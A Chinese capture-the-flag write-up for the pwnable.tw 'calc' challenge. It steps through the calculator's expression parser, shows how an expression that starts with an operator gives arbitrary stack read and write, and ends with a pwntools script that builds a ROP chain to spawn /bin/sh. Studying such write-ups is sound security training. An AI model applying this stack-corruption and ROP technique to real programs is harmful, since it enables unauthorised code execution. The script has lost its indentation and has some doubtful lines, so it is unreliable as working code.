pwnable.tw Calc
calc
首先先检查保护
可以看到正如程序名字一样是一个计算器的程序。
IDA静态分析代码
main函数主要调用了calc函数
而calc中parse_expr这个函数比较重要
我们用过1+2*3-4为例子,计算的过程大约是如下:
其中I为for循环的i,V为数字的开始
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区:
1 + 2 * 3 - 4
I
V
当前的处理的数字: 1
数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区:
----------------------------------------
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 1
数字暂存区: 1
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4
I
V
当前的处理的数字:2
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
----------------------------------------
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 1
符号暂存区: +,*
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 1
符号暂存区: +,*
1 + 2 * 3 - 4
I
V
当前的处理的数字:3
数字暂存区的长度: 3
数字暂存区: 1,2,3
符号暂存区的索引: 1
符号暂存区: +,*
----------------------------------------
1 + 2 * 3 - 4
I
V
数字暂存区的长度: 2
数字暂存区: 1,6
符号暂存区的索引: 1
符号暂存区: +,-
1 + 2 * 3 - 4 \x00
I
V
数字暂存区的长度: 2
数字暂存区: 1,6
符号暂存区的索引: 1
符号暂存区: +,-
1 + 2 * 3 - 4 \x00
I
V
当前的处理的数字:4
数字暂存区的长度: 3
数字暂存区: 1,6,4
符号暂存区的索引: 1
符号暂存区: +,-
----------------------------------------
1 + 2 * 3 - 4 \x00 \x00
I
V
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
1 + 2 * 3 - 4 \x00 \x00
I
V
break
数字暂存区的长度: 2
数字暂存区: 1,2
符号暂存区的索引: 0
符号暂存区: +
数字暂存区的长度: 1
数字暂存区: 3
符号暂存区的索引: -1
符号暂存区:
看懂了上面的大致流程,大概就能明白程序的流程了
eval这个函数,是函数主要的漏洞利用点。a1表示数字暂存区的长度,如果我们可以控制a1的内容就可以实现栈上任意地址的任意写入,之后程序又能打印结果,所以我们还可以实现栈上任意地址的读取。
如果当前操作符左边的操作数不存在呢?也就是说,表达式的第一个字符就是运算符而不是操作数呢?这样的话,a1[0]的值在解析下一个操作符之前就还是0,而不是1,当第一次进入eval函数时,我们的运算场景就出现了一个不符合运算条件的情况,一个运算符和仅有的一个操作数,比如我们输入“+300”这样一个畸形的运算表达式,当函数处理到最后一个字符“0×0”,这时的运算场景如下
+300
I
V
当前处理的数字:
数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区:
--------------------------
+ 300
I
V
数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区: +
+ 300
I
V
数字暂存区的长度: 0
数字暂存区:
符号暂存区的索引: 0
符号暂存区: +
+ 300 \x00
I
V
当前处理的数字:300
数字暂存区的长度: 1
数字暂存区: 300
符号暂存区的索引: 0
符号暂存区: +
-----------------------------
+ 300 \x00 \x00
I
V
数字暂存区的长度: 301
数字暂存区: 300
符号暂存区的索引: 0
符号暂存区: +
----------------------------
+ 300 \x00 \x00
I
V
数字暂存区的长度: 300 (又减1是因为eval之后有--*a1)
数字暂存区: 300
符号暂存区的索引: -1
符号暂存区:
这里我们改变的也就是v1的值,最后printf可以泄漏栈上的地址
同理,我们是用+301+1可以将v2[300]处的值+1,相当于我们拥有了栈上任意地址写入的权限。由于程序开启了NX保护,并且程序是静态链接的,我们使用ROP来getshell。
http://syscalls.kernelgrok.com
eax=0xb
ebx=“/bin/sh”字符串的地址
ecx=0
edx=0
我们将寄存器利用ROP填上相应的值,接可以getshell了。这里的难点有2个。
- 定位ret地址。ret = 0x59C / 4 + 1+1 = 361 (其中0x59C / 4是指v2离ebp的距离,+1是ret在ebp下方4个字节,因为输出的是v2[v1-1]所以我们还要多加个1)
- 怎么获取/bin/sh的地址?我们可以吧/bin/sh布置到ret后面,由于ret上一个就是main_ebp,我们可以通过泄漏main_ebp来定位/bin/sh的位置
解题脚本
from pwn import *
context.log_level = "Debug"
p = process('./calc')
#p = remote('chall.pwnable.tw',10100)
p.recvline()
start = (0x59c+4)/4+1
p.sendline("+"+str(start-1))
main_ebp = int(p.recvline())
bin_sh = main_ebp + 0x4
p.sendline("+"+str(start+6)+str(bin_sh))
p.recvline()
'''
0x0805c34b : pop eax ; ret
0x080701d1 : pop ecx ; pop ebx ; ret
0x080701aa : pop edx ; return
0x08049a21 : int 0x80
xxxx <- v1 (ebp-0x5a0)
xxxx <- v2 (ebp-0x59c)
....
xxxx
xxxx <- canary (ebp-0xc)
xxxx
xxxx
main_ebp <- ebp
ret
'''
# pop_eax_ret pop_edx_ret pop_ecx_ebx_ret int 0x80 /bin /sh\x00
payload = [0x0805c34b,0xb,0x080701aa,0,0x080701d1,0,bin_sh, 0x08049a21,0x6e69622f,0x0068732f]
for i in range(len(payload)):
p.sendline("+"+str(start+i))
num = int(p.recvline())
diff = payload[i] - num
if diff > 0 :
p.sendline("+"+str(start+i)+"+"+str(diff))
else:
p.sendline("+"+str(start+i)+str(diff))
p.recvline()
#gdb.attach(p)
p.sendline()
p.interactive()